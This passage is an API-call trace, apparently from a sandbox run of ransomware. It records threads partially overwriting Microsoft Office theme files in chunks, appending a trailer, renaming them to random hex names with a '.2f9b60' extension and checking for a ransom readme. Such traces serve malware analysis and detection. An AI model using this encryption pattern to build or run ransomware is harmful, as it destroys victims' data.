0x20 [0089.221] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad2a0) returned 1 [0089.221] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b880) returned 1 Thread: id = 349 os_tid = 0xea4 [0089.238] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Origin.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\origin.thmx")) returned 0x20 [0089.239] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Origin.thmx", dwFileAttributes=0x20) returned 1 [0089.240] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Origin.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\origin.thmx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xa44 [0089.240] GetFileSizeEx (in: hFile=0xa44, lpFileSize=0x255df940 | out: lpFileSize=0x255df940*=87051) returned 1 [0089.240] SetFilePointerEx (in: hFile=0xa44, liDistanceToMove=0x15407, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.240] ReadFile (in: hFile=0xa44, lpBuffer=0x255df8c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x255df908, lpOverlapped=0x0 | out: lpBuffer=0x255df8c0*, lpNumberOfBytesRead=0x255df908*=0x4, lpOverlapped=0x0) returned 1 [0089.242] SetFilePointerEx (in: hFile=0xa44, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.242] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a420 [0089.242] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a2a0 [0089.242] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a330 [0089.243] NtQuerySystemTime (in: CurrentTime=0x255df800 | out: CurrentTime=0x255df800*=132462176951050000) returned 0x0 [0089.243] RtlRandomEx (in: Seed=0x255df7f0 | out: Seed=0x255df7f0) returned 0x1e257d74 [0089.243] RtlRandomEx (in: Seed=0x255df7f0 | out: Seed=0x255df7f0) returned 0x66d951ca [0089.243] RtlRandomEx (in: Seed=0x255df7f0 | out: Seed=0x255df7f0) returned 0x2b0b88a8 [0089.243] RtlRandomEx (in: Seed=0x255df7f0 | out: Seed=0x255df7f0) returned 0x7a98f908 [0089.243] RtlRandomEx (in: Seed=0x255df7f0 | out: Seed=0x255df7f0) returned 0x6c227d39 [0089.243] RtlRandomEx (in: Seed=0x255df7f0 | out: Seed=0x255df7f0) returned 0x228e269a [0089.243] RtlRandomEx (in: Seed=0x255df7f0 | out: Seed=0x255df7f0) returned 0x50ac620f [0089.243] RtlRandomEx (in: Seed=0x255df7f0 | out: Seed=0x255df7f0) returned 0x4ed8608f [0089.243] RtlRandomEx (in: Seed=0x255df7f0 | out: Seed=0x255df7f0) returned 0xd60e79e [0089.243] RtlRandomEx (in: Seed=0x255df7f0 | out: Seed=0x255df7f0) returned 0x28568c94 [0089.243] RtlRandomEx (in: Seed=0x255df7f0 | out: Seed=0x255df7f0) returned 0xf465e41 [0089.243] RtlRandomEx (in: Seed=0x255df7f0 | out: Seed=0x255df7f0) returned 0x48ec6141 [0089.243] RtlRandomEx (in: Seed=0x255df7f0 | out: Seed=0x255df7f0) returned 0x5261a74 [0089.243] RtlRandomEx (in: Seed=0x255df7f0 | out: Seed=0x255df7f0) returned 0x481ed477 [0089.243] RtlRandomEx (in: Seed=0x255df7f0 | out: Seed=0x255df7f0) returned 0x3b859875 [0089.243] RtlRandomEx (in: Seed=0x255df7f0 | out: Seed=0x255df7f0) returned 0x2a31a889 [0089.243] RtlRandomEx (in: Seed=0x255df7f0 | out: Seed=0x255df7f0) returned 0x28568c94 [0089.243] RtlRandomEx (in: Seed=0x255df7f0 | out: Seed=0x255df7f0) returned 0x659331b2 [0089.243] RtlRandomEx (in: Seed=0x255df7f0 | out: Seed=0x255df7f0) returned 0x286cf82d [0089.243] RtlRandomEx (in: Seed=0x255df7f0 | out: Seed=0x255df7f0) returned 0x6556c198 [0089.243] RtlRandomEx (in: Seed=0x255df7f0 | out: Seed=0x255df7f0) returned 0x4828ceee [0089.243] RtlRandomEx (in: Seed=0x255df7f0 | out: Seed=0x255df7f0) returned 0x138f14e2 [0089.243] RtlRandomEx (in: Seed=0x255df7f0 | out: Seed=0x255df7f0) returned 0x6d490ebf [0089.243] RtlRandomEx (in: Seed=0x255df7f0 | out: Seed=0x255df7f0) returned 0x5076aecc [0089.243] RtlRandomEx (in: Seed=0x255df7f0 | out: Seed=0x255df7f0) returned 0x49da39bf [0089.243] RtlRandomEx (in: Seed=0x255df7f0 | out: Seed=0x255df7f0) returned 0xec25fec [0089.243] RtlRandomEx (in: Seed=0x255df7f0 | out: Seed=0x255df7f0) returned 0x628ca2d1 [0089.243] RtlRandomEx (in: Seed=0x255df7f0 | out: Seed=0x255df7f0) returned 0x669b4354 [0089.243] RtlRandomEx (in: Seed=0x255df7f0 | out: Seed=0x255df7f0) returned 0x3c973ac1 [0089.243] RtlRandomEx (in: Seed=0x255df7f0 | out: Seed=0x255df7f0) returned 0x53a5e9ea [0089.243] RtlRandomEx (in: Seed=0x255df7f0 | out: Seed=0x255df7f0) returned 0x4ed8608f [0089.243] RtlRandomEx (in: Seed=0x255df7f0 | out: Seed=0x255df7f0) returned 0x39590b99 [0089.251] SetFilePointerEx (in: hFile=0xa44, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.251] ReadFile (in: hFile=0xa44, lpBuffer=0x1ce5d510, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x255df860, lpOverlapped=0x0 | out: lpBuffer=0x1ce5d510*, lpNumberOfBytesRead=0x255df860*=0x3c00, lpOverlapped=0x0) returned 1 [0089.252] SetFilePointerEx (in: hFile=0xa44, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.252] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0089.253] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dff0 [0089.253] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a420 [0089.253] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a420) returned 1 [0089.253] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1cea4d30 [0089.253] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a420 [0089.253] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a330 [0089.253] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a330) returned 1 [0089.253] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dff0) returned 1 [0089.253] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0089.253] WriteFile (in: hFile=0xa44, lpBuffer=0x1cea4d30*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x255df860, lpOverlapped=0x0 | out: lpBuffer=0x1cea4d30*, lpNumberOfBytesWritten=0x255df860*=0x3c00, lpOverlapped=0x0) returned 1 [0089.258] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cea4d30) returned 1 [0089.258] SetFilePointerEx (in: hFile=0xa44, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.258] ReadFile (in: hFile=0xa44, lpBuffer=0x1ce5d510, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x255df860, lpOverlapped=0x0 | out: lpBuffer=0x1ce5d510*, lpNumberOfBytesRead=0x255df860*=0x3c00, lpOverlapped=0x0) returned 1 [0089.260] SetFilePointerEx (in: hFile=0xa44, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.261] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0089.261] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dff0 [0089.261] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a330 [0089.261] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a330) returned 1 [0089.261] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1cea4d30 [0089.261] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a330 [0089.261] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a390 [0089.261] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a390) returned 1 [0089.261] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dff0) returned 1 [0089.261] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0089.261] WriteFile (in: hFile=0xa44, lpBuffer=0x1cea4d30*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x255df860, lpOverlapped=0x0 | out: lpBuffer=0x1cea4d30*, lpNumberOfBytesWritten=0x255df860*=0x3c00, lpOverlapped=0x0) returned 1 [0089.274] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cea4d30) returned 1 [0089.274] SetFilePointerEx (in: hFile=0xa44, liDistanceToMove=0x1180b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.274] ReadFile (in: hFile=0xa44, lpBuffer=0x1ce5d510, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x255df860, lpOverlapped=0x0 | out: lpBuffer=0x1ce5d510*, lpNumberOfBytesRead=0x255df860*=0x3c00, lpOverlapped=0x0) returned 1 [0089.277] SetFilePointerEx (in: hFile=0xa44, liDistanceToMove=0x1180b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.277] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0089.277] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dff0 [0089.277] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a450 [0089.277] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a450) returned 1 [0089.278] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1ceac550 [0089.278] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a450 [0089.278] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a3f0 [0089.278] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a3f0) returned 1 [0089.278] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dff0) returned 1 [0089.278] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0089.278] WriteFile (in: hFile=0xa44, lpBuffer=0x1ceac550*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x255df860, lpOverlapped=0x0 | out: lpBuffer=0x1ceac550*, lpNumberOfBytesWritten=0x255df860*=0x3c00, lpOverlapped=0x0) returned 1 [0089.284] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceac550) returned 1 [0089.284] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b7c1f00 [0089.284] SetFilePointerEx (in: hFile=0xa44, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0089.284] WriteFile (in: hFile=0xa44, lpBuffer=0x1b82f830*, nNumberOfBytesToWrite=0x148, lpNumberOfBytesWritten=0x255df910, lpOverlapped=0x0 | out: lpBuffer=0x1b82f830*, lpNumberOfBytesWritten=0x255df910*=0x148, lpOverlapped=0x0) returned 1 [0089.287] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0089.287] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dff0 [0089.287] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a3c0 [0089.287] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a3c0) returned 1 [0089.287] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d000 [0089.287] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a3c0 [0089.287] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a360 [0089.287] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a360) returned 1 [0089.288] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dff0) returned 1 [0089.288] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0089.288] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1cd9f970 [0089.288] sprintf (in: _Dest=0x1cd9f970, _Format="%c%c" | out: _Dest="3d") returned 2 [0089.288] sprintf (in: _Dest=0x1cd9f972, _Format="%c%c" | out: _Dest="13") returned 2 [0089.288] sprintf (in: _Dest=0x1cd9f974, _Format="%c%c" | out: _Dest="92") returned 2 [0089.288] sprintf (in: _Dest=0x1cd9f976, _Format="%c%c" | out: _Dest="61") returned 2 [0089.288] sprintf (in: _Dest=0x1cd9f978, _Format="%c%c" | out: _Dest="6c") returned 2 [0089.288] sprintf (in: _Dest=0x1cd9f97a, _Format="%c%c" | out: _Dest="7a") returned 2 [0089.288] sprintf (in: _Dest=0x1cd9f97c, _Format="%c%c" | out: _Dest="5e") returned 2 [0089.288] sprintf (in: _Dest=0x1cd9f97e, _Format="%c%c" | out: _Dest="c8") returned 2 [0089.288] sprintf (in: _Dest=0x1cd9f980, _Format="%c%c" | out: _Dest="0a") returned 2 [0089.288] sprintf (in: _Dest=0x1cd9f982, _Format="%c%c" | out: _Dest="3a") returned 2 [0089.288] sprintf (in: _Dest=0x1cd9f984, _Format="%c%c" | out: _Dest="36") returned 2 [0089.288] sprintf (in: _Dest=0x1cd9f986, _Format="%c%c" | out: _Dest="62") returned 2 [0089.288] sprintf (in: _Dest=0x1cd9f988, _Format="%c%c" | out: _Dest="f8") returned 2 [0089.288] sprintf (in: _Dest=0x1cd9f98a, _Format="%c%c" | out: _Dest="2a") returned 2 [0089.288] sprintf (in: _Dest=0x1cd9f98c, _Format="%c%c" | out: _Dest="c3") returned 2 [0089.288] sprintf (in: _Dest=0x1cd9f98e, _Format="%c%c" | out: _Dest="f5") returned 2 [0089.288] sprintf (in: _Dest=0x1cd9f990, _Format="%c%c" | out: _Dest="14") returned 2 [0089.288] sprintf (in: _Dest=0x1cd9f992, _Format="%c%c" | out: _Dest="e7") returned 2 [0089.288] sprintf (in: _Dest=0x1cd9f994, _Format="%c%c" | out: _Dest="a2") returned 2 [0089.288] sprintf (in: _Dest=0x1cd9f996, _Format="%c%c" | out: _Dest="5a") returned 2 [0089.288] sprintf (in: _Dest=0x1cd9f998, _Format="%c%c" | out: _Dest="47") returned 2 [0089.288] sprintf (in: _Dest=0x1cd9f99a, _Format="%c%c" | out: _Dest="86") returned 2 [0089.289] RtlInitAnsiString (in: DestinationString=0x255df988, SourceString="3d1392616c7a5ec80a3a3662f82ac3f514e7a25a4786" | out: DestinationString="3d1392616c7a5ec80a3a3662f82ac3f514e7a25a4786") [0089.289] RtlAnsiStringToUnicodeString (in: DestinationString=0x255df958, SourceString="3d1392616c7a5ec80a3a3662f82ac3f514e7a25a4786", AllocateDestinationString=1 | out: DestinationString="3d1392616c7a5ec80a3a3662f82ac3f514e7a25a4786") returned 0x0 [0089.289] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1b7c1f70 [0089.289] wcscat (in: _Dest=0x1b7ad2a0, _Source="3d1392616c7" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\3d1392616c7") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\3d1392616c7" [0089.289] wcscat (in: _Dest=0x1b7ad2a0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\3d1392616c7.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\3d1392616c7.2f9b60" [0089.289] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\3d1392616c7.2f9b60", NtPathName=0x255df930, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\3d1392616c7.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0089.289] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xae) returned 0x106e80 [0089.291] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x106e80) returned 1 [0089.291] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b77ad20) returned 1 [0089.291] NtQueryInformationFile (in: FileHandle=0xa44, IoStatusBlock=0x255df998, FileInformation=0x255df9a8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x255df998, FileInformation=0x255df9a8) returned 0x0 [0089.291] NtSetInformationFile (FileHandle=0xa44, IoStatusBlock=0x255df998, FileInformation=0x255df9a8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0089.292] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad2a0) returned 1 [0089.292] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c1f70) returned 1 [0089.292] FlushFileBuffers (hFile=0xa44) returned 1 [0089.295] CloseHandle (hObject=0xa44) returned 1 [0089.297] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x1b7ad2a0 [0089.297] wcscpy (in: _Dest=0x1b7ad2a0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0089.297] wcscat (in: _Dest=0x1b7ad2a0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2F9B60-Readme.txt" [0089.297] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\2f9b60-readme.txt")) returned 0x20 [0089.297] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad2a0) returned 1 [0089.297] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b910) returned 1 Thread: id = 350 os_tid = 0xea8 [0089.257] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Paper.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\paper.thmx")) returned 0x20 [0089.259] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Paper.thmx", dwFileAttributes=0x20) returned 1 [0089.259] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Paper.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\paper.thmx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xa3c [0089.259] GetFileSizeEx (in: hFile=0xa3c, lpFileSize=0x2570f9e0 | out: lpFileSize=0x2570f9e0*=270822) returned 1 [0089.259] SetFilePointerEx (in: hFile=0xa3c, liDistanceToMove=0x421e2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.259] ReadFile (in: hFile=0xa3c, lpBuffer=0x2570f960, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2570f9a8, lpOverlapped=0x0 | out: lpBuffer=0x2570f960*, lpNumberOfBytesRead=0x2570f9a8*=0x4, lpOverlapped=0x0) returned 1 [0089.265] SetFilePointerEx (in: hFile=0xa3c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.265] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a390 [0089.265] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a300 [0089.265] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a450 [0089.265] NtQuerySystemTime (in: CurrentTime=0x2570f8a0 | out: CurrentTime=0x2570f8a0*=132462176951362000) returned 0x0 [0089.265] RtlRandomEx (in: Seed=0x2570f890 | out: Seed=0x2570f890) returned 0x1b63b572 [0089.265] RtlRandomEx (in: Seed=0x2570f890 | out: Seed=0x2570f890) returned 0x16d08374 [0089.265] RtlRandomEx (in: Seed=0x2570f890 | out: Seed=0x2570f890) returned 0x5b41c876 [0089.265] RtlRandomEx (in: Seed=0x2570f890 | out: Seed=0x2570f890) returned 0x422df7c3 [0089.265] RtlRandomEx (in: Seed=0x2570f890 | out: Seed=0x2570f890) returned 0x286cf82d [0089.265] RtlRandomEx (in: Seed=0x2570f890 | out: Seed=0x2570f890) returned 0x236daba7 [0089.265] RtlRandomEx (in: Seed=0x2570f890 | out: Seed=0x2570f890) returned 0x190dd411 [0089.265] RtlRandomEx (in: Seed=0x2570f890 | out: Seed=0x2570f890) returned 0x615d2d97 [0089.265] RtlRandomEx (in: Seed=0x2570f890 | out: Seed=0x2570f890) returned 0x2772cb18 [0089.265] RtlRandomEx (in: Seed=0x2570f890 | out: Seed=0x2570f890) returned 0xdefa92f [0089.265] RtlRandomEx (in: Seed=0x2570f890 | out: Seed=0x2570f890) returned 0x613e7d22 [0089.265] RtlRandomEx (in: Seed=0x2570f890 | out: Seed=0x2570f890) returned 0x6c8707c0 [0089.265] RtlRandomEx (in: Seed=0x2570f890 | out: Seed=0x2570f890) returned 0x4ea7f04b [0089.265] RtlRandomEx (in: Seed=0x2570f890 | out: Seed=0x2570f890) returned 0x761afab4 [0089.265] RtlRandomEx (in: Seed=0x2570f890 | out: Seed=0x2570f890) returned 0x44b83f81 [0089.265] RtlRandomEx (in: Seed=0x2570f890 | out: Seed=0x2570f890) returned 0x3c38c8ee [0089.265] RtlRandomEx (in: Seed=0x2570f890 | out: Seed=0x2570f890) returned 0x1ccf885c [0089.265] RtlRandomEx (in: Seed=0x2570f890 | out: Seed=0x2570f890) returned 0x6dc4d80b [0089.265] RtlRandomEx (in: Seed=0x2570f890 | out: Seed=0x2570f890) returned 0x4db281ac [0089.265] RtlRandomEx (in: Seed=0x2570f890 | out: Seed=0x2570f890) returned 0x70419259 [0089.265] RtlRandomEx (in: Seed=0x2570f890 | out: Seed=0x2570f890) returned 0x148f2141 [0089.265] RtlRandomEx (in: Seed=0x2570f890 | out: Seed=0x2570f890) returned 0x2f79fd7c [0089.265] RtlRandomEx (in: Seed=0x2570f890 | out: Seed=0x2570f890) returned 0x2acd307b [0089.266] RtlRandomEx (in: Seed=0x2570f890 | out: Seed=0x2570f890) returned 0x76f9fdd [0089.266] RtlRandomEx (in: Seed=0x2570f890 | out: Seed=0x2570f890) returned 0x5ae5d40e [0089.266] RtlRandomEx (in: Seed=0x2570f890 | out: Seed=0x2570f890) returned 0x74823382 [0089.266] RtlRandomEx (in: Seed=0x2570f890 | out: Seed=0x2570f890) returned 0x37de51cc [0089.266] RtlRandomEx (in: Seed=0x2570f890 | out: Seed=0x2570f890) returned 0x4401deff [0089.266] RtlRandomEx (in: Seed=0x2570f890 | out: Seed=0x2570f890) returned 0x3f483eba [0089.266] RtlRandomEx (in: Seed=0x2570f890 | out: Seed=0x2570f890) returned 0x16268db [0089.266] RtlRandomEx (in: Seed=0x2570f890 | out: Seed=0x2570f890) returned 0x74c935aa [0089.266] RtlRandomEx (in: Seed=0x2570f890 | out: Seed=0x2570f890) returned 0x56589ea6 [0089.272] SetFilePointerEx (in: hFile=0xa3c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.273] ReadFile (in: hFile=0xa3c, lpBuffer=0x1cea8940, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2570f900, lpOverlapped=0x0 | out: lpBuffer=0x1cea8940*, lpNumberOfBytesRead=0x2570f900*=0x3c00, lpOverlapped=0x0) returned 1 [0089.275] SetFilePointerEx (in: hFile=0xa3c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.275] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0089.275] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dff0 [0089.275] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a390 [0089.275] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a390) returned 1 [0089.276] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1cea4d30 [0089.276] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a390 [0089.276] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a450 [0089.276] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a450) returned 1 [0089.276] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dff0) returned 1 [0089.276] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0089.276] WriteFile (in: hFile=0xa3c, lpBuffer=0x1cea4d30*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2570f900, lpOverlapped=0x0 | out: lpBuffer=0x1cea4d30*, lpNumberOfBytesWritten=0x2570f900*=0x3c00, lpOverlapped=0x0) returned 1 [0089.283] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cea4d30) returned 1 [0089.283] SetFilePointerEx (in: hFile=0xa3c, liDistanceToMove=0x21c00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.283] ReadFile (in: hFile=0xa3c, lpBuffer=0x1cea8940, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2570f900, lpOverlapped=0x0 | out: lpBuffer=0x1cea8940*, lpNumberOfBytesRead=0x2570f900*=0x3c00, lpOverlapped=0x0) returned 1 [0089.285] SetFilePointerEx (in: hFile=0xa3c, liDistanceToMove=0x21c00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.285] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0089.285] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dff0 [0089.285] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a3f0 [0089.285] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a3f0) returned 1 [0089.285] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1ce5d510 [0089.285] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a3f0 [0089.286] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a3c0 [0089.286] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a3c0) returned 1 [0089.286] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dff0) returned 1 [0089.286] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0089.286] WriteFile (in: hFile=0xa3c, lpBuffer=0x1ce5d510*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2570f900, lpOverlapped=0x0 | out: 